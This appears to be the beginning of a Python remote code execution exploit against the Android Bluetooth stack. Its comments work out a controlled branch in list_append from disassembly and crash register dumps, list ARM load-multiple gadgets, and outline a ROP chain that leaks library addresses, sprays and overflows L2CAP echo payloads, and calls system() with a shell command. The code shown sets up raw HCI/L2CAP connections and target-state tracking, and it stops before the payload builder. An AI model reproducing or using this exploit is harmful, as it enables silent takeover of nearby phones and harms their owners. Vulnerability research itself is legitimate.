# /* Find the LCB based on the handle */
# p_lcb = l2cu_find_lcb_by_handle(handle);
# ...
# /* Send the data through the channel state machine */
# if (rcv_cid == L2CAP_SIGNALLING_CID) {
# process_l2cap_cmd(p_lcb, p, l2cap_len);
# ...
# }
#
# tL2C_LCB* l2cu_find_lcb_by_handle(uint16_t handle) {
# ...
# tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];
#
# for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) {
# if ((p_lcb->in_use) && (p_lcb->handle == handle)) {
# return (p_lcb);
# }
# }
# ...
# }
#
# p_lcb is taken from the static l2cb.lcb_pool[0] object as define in l2c_main.cc
#
# /******************************************************************************/
# /* G L O B A L L 2 C A P D A T A */
# /******************************************************************************/
# tL2C_CB l2cb;
#
# static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) {
# ...
# case L2CAP_CMD_ECHO_REQ:
# l2cu_send_peer_echo_rsp(p_lcb, id, p, cmd_len);
# ...
# }
#
# void l2cu_send_peer_echo_rsp(tL2C_LCB* p_lcb, uint8_t id, uint8_t* p_data, uint16_t data_len) {
# ...
# p_buf = l2cu_build_header(p_lcb, (uint16_t)(L2CAP_ECHO_RSP_LEN + data_len), L2CAP_CMD_ECHO_RSP, id);
# ...
# l2c_link_check_send_pkts(p_lcb, NULL, p_buf);
# }
#
#
# void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, tL2C_CCB* p_ccb, BT_HDR* p_buf) {
# ...
# list_append(p_lcb->link_xmit_data_q, p_buf);
# ...
# }
#
# bool list_append(list_t* list, void* data) {
# ...
# list_node_t* node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t)); => Call to alloc replaced by our call (Only one parameter !!!)
# ...
# }
#
# The definition of link_xmit_data_q in tL2C_LCB structure is:
#
# /* Define a link control block. There is one link control block between
# * this device and any other device (i.e. BD ADDR).
# */
# typedef struct t_l2c_linkcb {
# ...
# list_t* link_xmit_data_q; /* Link transmit data buffer queue */ | Size 0x4 | Offset 0x44
# ...
# } tL2C_LCB;
#
# The definition of list_t structure is:
#
# typedef struct list_t {
# list_node_t* head; | Size 0x4 | Offset 0x0
# list_node_t* tail; | Size 0x4 | Offset 0x4
# size_t length; | Size 0x4 | Offset 0x8
# list_free_cb free_cb; | Size 0x4 | Offset 0xC
# const allocator_t* allocator; | Size 0x4 | Offset 0x10
# } list_t; | Size 0x14
#
# With list_node_t structure:
#
# struct list_node_t {
# struct list_node_t* next; | Size 0x4 | Offset 0x0
# void* data; | Size 0x4 | Offset 0x4
# }; | Size 0x8
#
# And allocator_t structure:
#
# typedef struct {
# alloc_fn alloc; | Size 0x4 | Offset 0x0
# free_fn free; | Size 0x4 | Offset 0x4
# } allocator_t; | Size 0x8
#
# typedef struct {
# uint16_t event; | Size 0x2 | Offset 0x0
# uint16_t len; | Size 0x2 | Offset 0x2
# uint16_t offset; | Size 0x2 | Offset 0x4
# uint16_t layer_specific; | Size 0x2 | Offset 0x6
# uint8_t data[]; | Size 0xx | Offset 0x8
#} BT_HDR; | Size 0x8 + data length
#
#
# The disassembly of l2c_link_check_send_pkts function:
#
# .text:0x00103108 PUSH.W {R4-R11,LR}
# .text:0x0010310C SUB SP, SP, #0x14
# .text:0x0010310E MOV R4, R0 => Move R0 to R4 => Set R4 = R0 = tL2C_LCB* p_lcb
# .text:0x00103110 CBZ R2, loc_10311C => Jump if R2 is null => Jump if BT_HDR* p_buf is null
# .text:0x00103112 MOVS R0, #0 => Move 0 to R0 =>
# .text:0x00103114 CBZ R1, loc_103120 => Jump if R1 is null => Jump if tL2C_CCB* p_ccb is null
# .text:0x00103116 LDRH R1, [R1,#0x2C] => Load R1 + 0x2C into R1 => Load R1 with p_ccb->local_cid
# .text:0x00103118 MOVS R7, #1 => Move 1 to R7 => Set single_write = true
# .text:0x0010311A B loc_103124 => Branch to loc_103124
# .text:0x00103124 loc_103124
# .text:0x00103124 STRH R1, [R2] => Store R1 high into R2 => Set p_buf->event = p_ccb->local_cid
# .text:0x00103126 MOV R1, R2 => Move R2 to R1 => Set R1 = R2 = BT_HDR* p_buf
# .text:0x00103128 STRH R0, [R2,#6] => Store R0 into R2 + 0x6 => Set p_buf->layer_specific = 0
# .text:0x0010312A LDR R0, [R4,#0x44] => Load R4 + 0x44 into R0 => Load R0 with list_t* p_lcb->link_xmit_data_q from R4 + 0x44
# .text:0x0010312C BL list_append => Branch with link to list_append
#
# Before the call to list_append function registers contains:
#
# - R0 = list_t* p_lcb->link_xmit_data_q object with the first payload
# - R1 and R2 = BT_HDR* p_buf object with the second payload
# - R4 = tL2C_LCB* p_lcb object with the first payload at 0x44
# - R7 = 1
#
# The disassembly of list_append function:
#
# .text:0x001298A0 PUSH {R4,R5,R7,LR}
# .text:0x001298A2 SUB SP, SP, #0x138
# .text:0x001298A4 MOV R4, R0 => Move R4 to R0 => Set R4 = R0 = list_t* p_lcb->link_xmit_data_q
# .text:0x001298A6 LDR R0, =(stack_canary_1A2718 - 0x1298B0)
# .text:0x001298A8 MOV R5, R1 => Move R1 to R5 => Set R5 = R1 = BT_HDR* p_buf
# .text:0x001298AA CMP R4, #0 => Test R4 = 0 => Test if list_t* p_lcb->link_xmit_data_q is null
# .text:0x001298AC ADD R0, PC ; stack_canary_1A2718
# .text:0x001298AE LDR R0, [R0] =>
# .text:0x001298B0 LDR R0, [R0] =>
# .text:0x001298B2 STR R0, [SP,#0x148+stack_canary] =>
# .text:0x001298B4 BNE loc_1298CA => Test CMP => Jump if list_t* p_lcb->link_xmit_data_q is not null
# .text:0x001298CA loc_1298CA =>
# .text:0x001298CA CBNZ R5, loc_1298E0 => Jump if R5 is not null => Jump if BT_HDR* p_buf is null
# .text:0x001298E0 loc_1298E0 =>
# .text:0x001298E0 LDR R0, [R4,#0x10] => Load R0 from R4+0x10 => Set R0 = list->allocator
# .text:0x001298E2 LDR R1, [R0] => Load R1 from R0 => Set R1 = list->allocator->alloc
# .text:0x001298E4 MOVS R0, #8 => Move 8 to R0 => Set R0 = sizeof(list_node_t)
# .text:0x001298E6 BLX R1 => Branch with link and exchange to R1 => Branch to controlled R1 !!!
#
# Before the controlled branch to R1 registers contains:
# - R0 = 0x8
# - R1 = second payload value + 0x0
# - R2 and R5 point to BT_HDR* p_buff with the second payload
# - R4 point to list_t* p_lcb->link_xmit_data_q with the first payload
#
#
# In order to find the start of the first payload in list_t* p_lcb->link_xmit_data_q pointed by R4 we used the ldm gadget found at 0x00125734:
#
# 0x00125734 : ldm r4, {r0, r1, r2, r3, r5, r6, r7, sb, sl, ip, sp, lr, pc}
#
# The target crash with following register containts:
#
# - R4 = ade05278 = list_t* p_lcb->link_xmit_data_q with the first payload at + 0x894C (0x894C / 0x360 = 0x28 = 40 packets where we can access the second payload)
#
# - R0 = R4 + 0x0 = 0020de08
# - R1 = R4 + 0x4 = dead0000 = first payload value + 0x0
# - R2 = R4 + 0x8 = dead0001 = first payload value + 0x4
# - R3 = R4 + 0xC = dead0002 = first payload value + 0x8
# - R5 = R4 + 0x10 = ade0db14 = first payload value + 0xC = address of second payload + 0x0
# - R6 = R4 + 0x14 = dead0003 = first payload value + 0x10
# - R7 = R4 + 0x18 = 00200004
# - R9 (SB) = R4 + 0x1C = dead0000 = first payload value + 0x0
# - R10 (SL) = R4 + 0x20 = dead0001 = first payload value + 0x4
# - R12 (IP) = R4 + 0x24 = dead0002 = first payload value + 0x8
# - R13 (SP) = R4 + 0x2C = ade0db14 = first payload value + 0xC = address of second payload+ 0x0
# - R14 (LR) = R4 + 0x30 = dead0003 = first payload value + 0x10
#
# The first payload is repeated each 0x14 bytes which is the size of list_t structure
#
# typedef struct list_t {
# list_node_t* head; | Size 0x4 | Offset 0x0 | l2cap header not usable
# list_node_t* tail; | Size 0x4 | Offset 0x4 | first payload value + 0x0
# size_t length; | Size 0x4 | Offset 0x8 | first payload value + 0x4
# list_free_cb free_cb; | Size 0x4 | Offset 0xC | first payload value + 0x8
# const allocator_t* allocator; | Size 0x4 | Offset 0x10 | first payload value + 0xC
# } list_t; | Size 0x14
#
#
# In order to find the start of the second payload in BT_HDR* p_buff pointed by R5 we used the ldm gadget found at 0x000dcecc:
#
# 0x000dcecc : ldm r5, {r2, r3, r4, r6, r7, r8, lr, pc}
#
# The target crash with following register containts:
#
# - R2 = R5 + 0x0 = 000e0000
# - R3 = R5 + 0x4 = 00000000
# - R4 = R5 + 0x8 = 000a2002
# - R5 = 95270300 = BT_HDR* p_buff with the second payload at + 0x???
# - R6 = R5 + 0xC = 00010006
# - R7 = R5 + 0x10 = 0002020a
# - R8 = R5 + 0x14 = 00000002
#
# There is no increment in this load multiple and we can see that the containt of BT_HDR* p_buff + 0x0 is:
# 000e0000 00000000 000a2002 00010006 0002020a 00000002
#
# The same test with a load multiple with increment before gadget found at 0x0014b580:
# 0x0014b580 : ldmib r5, {r1, r2, r3, r4, r7, r8, sl, fp, sp, pc} ^
#
# The target crash with following log:
#
# After the crash the registers contains:
# - R1 = R5 + 0x4 = 00000000
# - R2 = R5 + 0x8 = 000a2002
# - R3 = R5 + 0xC = 00010006
# - R4 = R5 + 0x10 = 0002020a
# - R5 = 9530ee00 = BT_HDR* p_buff with the second payload at + 0x14
# - R7 = R5 + 0x14 = 96300002
# - R8 = R5 + 0x18 = dead0007
# - SL = R5 + 0x1C = dead0008
# - FP = R5 + 0x20 = dead0009
# - SP = R5 + 0x24 = dead000a
#
# The containt of BT_HDR* p_buff + 0x4 for the increment is:
# 00000000 000a2002 00010006 0002020a 96300002 dead0007 dead0008 dead0009 dead000a
#
# We can see that the second payload is at + 0x14 in BT_HDR* p_buff
#
##############################################################################################################################################################################
#
# WRITE THE ROP CHAIN
#
##############################################################################################################################################################################
#
# As Jan Ruge with the libicuuc library we only have access to dlsym in the bluetooth one to find the address of system in order to start the shell
#
# The exploit process is as follow:
#
# - Get a link transmit data buffer queue entry address at mem_offset 180 and compute base of a packet with - 176
# - Get BleAdvertisingManagerImpl::SetDataAdvDataSender function address at mem_offset 28 to compute the bluetooth library base address
# - Build a first payload of 32 characters containing the link transmit data buffer queue entry address
# - Build a second payload of 184 characters containing then ROP chain and the shell command
# - Spray the second payload at mem_offset 184 using leak method to place it in the link transmit data buffer queue
# - Overflow the first payload to overwrite entries in the link transmit data buffer queue and trigger the branch to the beginning of the second payload
# - Second payload start the shell command
#
# See code for explainations
#
##############################################################################################################################################################################
from __future__ import print_function
import os
import sys
import time
import json
import fcntl
import array
import random
import socket
import struct
import datetime
import capstone as cs
from elftools.elf import elffile
from binascii import hexlify, unhexlify
import bluetooth._bluetooth as _bt
# Check python 2 / 3
if os.name == 'posix' and sys.version_info[0] < 3:
import subprocess32 as subprocess
from thread import start_new_thread
else:
import subprocess
from _thread import start_new_thread
xrange = range
# Variable declarations
target_mac = ""
target_ip = ""
shell_command = ""
disable_reboot = False
verbose = 0
force_verbose = False
link_xmit_data_q_entry_address = 0
bluetooth_library_base_address = 0
second_payload_base = 0
hci_echo = False
hci_handle = False
hci_socket = False
hci_l2cap_socket = False
hci_initialized = False
hci_crashing_deamon = False
hci_crash_counter = 0
hci_overflow_counter = 0
hci_connection_retry = 0
hci_initialization_retry = 0
max_hci_connection_retry = 10
max_hci_overflow_count = 3
max_hci_wait_time_deamon_restart = 8
max_hci_initialization_retry = 1
adb_activated = False
adb_logcat_file = ""
adb_logcat_crash_file = ""
adb_target_present = False
adb_target_crashed = False
adb_interesting_crash = False
adb_target_rebooting = False
adb_target_need_reboot = False
adb_shell_retry = 0
adb_get_logcat_retry = 0
adb_logcat_crash_count = 0
max_adb_shell_retry = 5
max_adb_get_logcat_retry = 5
max_adb_wait_time_connect = 10
max_adb_wait_time_reboot = 60
max_target_deamon_crash_count = 20
THUMB_MODE = 1
################################################################################
# Logger class allowing to save debug print to log file
################################################################################
class LoggerWriter(object):
def __init__(self, log_file, full_log_file):
self.terminal = sys.stdout
self.last_message_wo_return = False
self.log_file = log_file
self.full_log_file = full_log_file
def write(self, message):
global verbose
global force_verbose
# Filter unwanted message
if "Not connected" in message or "Disconnect failed" in message:
return
# Force verbose mean print_console => write to log file
write_to_log = force_verbose
# Clean script colors
message.replace("\033[;31m", "")
message.replace("\033[;32m", "")
message.replace("\033[;33m", "")
message.replace("\033[;34m", "")
message.replace("\033[;0m", "")
# Check verbose mode
if verbose:
force_verbose = True
if message.endswith("\r"):
message = message.replace("\r", "\n")
# Check force verbose
if force_verbose:
# Check if last message ends with return
if self.last_message_wo_return and not message.endswith("\r"):
self.terminal.write(" "*160 + "\r")
self.last_message_wo_return = False
# Write message to terminal
self.terminal.write(message)
# Save flag if message ends with return
if message.endswith("\r"):
self.last_message_wo_return = True
# Write only message with line return to log file
if self.log_file and write_to_log and not self.last_message_wo_return and not message == "":
message = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S.%f : ") + message
self.log_file.write(message)
# Write message to full log file
if self.full_log_file and not message == "":
message = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S.%f : ") + message
self.full_log_file.write(message)
def flush(self):
if self.log_file:
self.log_file.flush()
if self.full_log_file:
self.full_log_file.flush()
self.terminal.flush()
################################################################################
# Function definitions
################################################################################
def print_logcat(logcat_line):
global adb_logcat_file
# Write line to logcat file
if adb_logcat_file:
adb_logcat_file.write(str(logcat_line))
def print_crash(crash_line):
global adb_logcat_crash_file
# Write line to logcat crash file
if adb_logcat_crash_file:
adb_logcat_crash_file.write(str(crash_line + "\n"))
def print_log(*args, **kwargs):
global force_verbose
# Don't write to terminal at all
force_verbose = False
# Print the message
print(*args, **kwargs)
force_verbose = False
sys.stdout.flush()
def print_console(*args, **kwargs):
global force_verbose
# Write to terminal anyway
force_verbose = True
# Print the message
print(*args, **kwargs)
force_verbose = False
sys.stdout.flush()
def raw_input_console(message):
global force_verbose
# Write to terminal anyway
force_verbose = True
raw_input(message)
force_verbose = False
sys.stdout.flush()
def pattern(n):
return "".join([chr(i%255) for i in xrange(n)])
def valid_addr(echo):
address = struct.unpack("L", echo)[0]
return address < 0xC0000000 \
and address > 0x80000000 \
and echo not in pattern(300)
def convert_little_endian(text):
ba = bytearray.fromhex(hexlify(text))
ba.reverse()
little_endian = ''.join(format(x, '02x') for x in ba)
return little_endian
# Check if target is ready for exploit
def check_target_ready(check_adb=True, check_hci=True, check_adb_crash=True, check_hci_crash=True):
global hci_handle
global hci_socket
global hci_l2cap_socket
global hci_initialized
global hci_crashing_deamon
global adb_activated
global adb_target_present
global adb_target_rebooting
global adb_target_need_reboot
global adb_target_crashed
# Check if adb is activated and target no more ready
if check_adb and adb_activated and (not adb_target_present or adb_target_rebooting or adb_target_need_reboot):
print_log("check_target_ready = False / check_adb: %d / adb_activated: %d / adb_target_present: %d / adb_target_rebooting: %d / adb_target_need_reboot: %d" % \
(check_adb, adb_activated, adb_target_present, adb_target_rebooting, adb_target_need_reboot))
return False
# Check if adb is activated and saw a crash
if check_adb_crash and adb_activated and adb_target_crashed :
print_log("check_target_ready = False / check_adb_crash: %d / adb_activated: %d / adb_target_crashed: %d" % \
(check_adb_crash, adb_activated, adb_target_crashed))
return False
# Check HCI initialized and hci_handle
if check_hci and not (hci_initialized and hci_socket and hci_l2cap_socket and hci_handle):
print_log("check_target_ready = False / check_hci: %d / hci_initialized: %d / hci_socket: %d / hci_l2cap_socket: %d / hci_handle: %d" % \
(check_hci, hci_initialized, not hci_socket == False, not hci_l2cap_socket == False, hci_handle))
return False
# Check if HCI is crashing the bluetooth deamon
if check_hci_crash and hci_crashing_deamon :
print_log("check_target_ready = False / check_hci_crash: %d / hci_crashing_deamon: %d" % \
(check_hci_crash, hci_crashing_deamon))
return False
return True
# Create Raw HCI connection to the bluetooth deamon
def do_connect_hci():
global hci_socket
try:
# Connect Raw HCI socket
print_console ("HCI: Connecting Raw HCI socket", end="\r")
hci_socket = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI)
hci_socket.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR,1)
hci_socket.setsockopt(socket.SOL_HCI, socket.HCI_FILTER, ('\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00' if os.name == 'posix' and sys.version_info[0] < 3 else b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00'))
hci_socket.bind((0,))
return True
except:
pass
return False
# Disconnect HCI connection to the bluetooth deamon
def do_disconnect_hci(timeout=2):
global hci_handle
global hci_socket
# Disconnect Raw HCI socket
try:
if hci_socket:
print_console ("HCI: Disconnecting Raw HCI socket", end="\r")
hci_socket.close()
except:
pass
# Reset vars
hci_handle = False
hci_socket = False
# Wait timeout seconds
time.sleep(timeout)
# Create L2CAP connection to the bluetooth deamon
def do_connect_l2cap(timeout=60):
global target_mac
global hci_handle
global hci_l2cap_socket
global hci_connection_retry
global hci_overflow_counter
# Increase connection retry
hci_connection_retry += 1
# Reset HCI connection handle
hci_handle = False
hci_l2cap_socket = False
# Connect L2CAP socket
if hci_overflow_counter:
print_console ("HCI: Connecting target %s..." % target_mac, end="\r")
else:
print_console ("HCI: Connecting target %s..." % target_mac)
try:
# Connect the target
hci_l2cap_socket = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_L2CAP)
hci_l2cap_socket.settimeout(timeout)
hci_l2cap_socket.connect((target_mac, 0))
except:
# Connection failed !!!
print_console ("\033[;31mHCI: L2CAP Connection failed !!!\033[;0m")
# Reset HCI connection handle
hci_handle = False
hci_l2cap_socket = False
return False
# Get the ACL connection handle
print_console ("HCI: Getting ACL connection handle...", end="\r")
hci_sock = _bt.hci_open_dev ()
hci_fd = hci_sock.fileno ()
reqstr = struct.pack ("6sB17s", _bt.str2ba (target_mac), _bt.ACL_LINK, ('\0' if os.name == 'posix' and sys.version_info[0] < 3 else b'\0') * 17)
request = array.array ("b", reqstr)
try:
fcntl.ioctl (hci_fd, _bt.HCIGETCONNINFO, request, 1)
except:
print_console ("\033[;31mHCI: There is no ACL connection to %s\033[;00m" % target_mac)
return False
# Unpack the ACL connection handle
hci_handle = struct.unpack ("8xH14x", request.tostring ())[0]
if hci_overflow_counter:
print_console ("\033[;32mHCI: Got ACL connection handle: 0x%x\033[;0m" % hci_handle, end="\r")
else:
print_console ("\033[;32mHCI: Got ACL connection handle: 0x%x\033[;0m" % hci_handle)
# Reset connection retry
hci_connection_retry = 0
return True
# Disconnect L2CAP connection to the bluetooth deamon
def do_disconnect_l2cap(timeout=2):
global hci_handle
global hci_l2cap_socket
# Disconnect L2CAP socket
try:
if hci_l2cap_socket:
print_console ("HCI: Disconnecting L2CAP socket", end="\r")
subprocess.check_output("hcitool dc " + target_mac, shell=True)
hci_l2cap_socket.close()
except:
pass
#Reset vars
hci_handle = False
hci_l2cap_socket = False
# Wait timeout seconds
time.sleep(timeout)
# Disconnect HCI and L2CAP sockets
def do_disconnect_all():
# Disconnect raw HCI and L2CAP sockets
do_disconnect_hci(timeout=0)
do_disconnect_l2cap(timeout=0)
# Initialize HCI
def do_initialize_hci():
global target_mac
global hci_initialized
# Check target already ready
if check_target_ready():
return True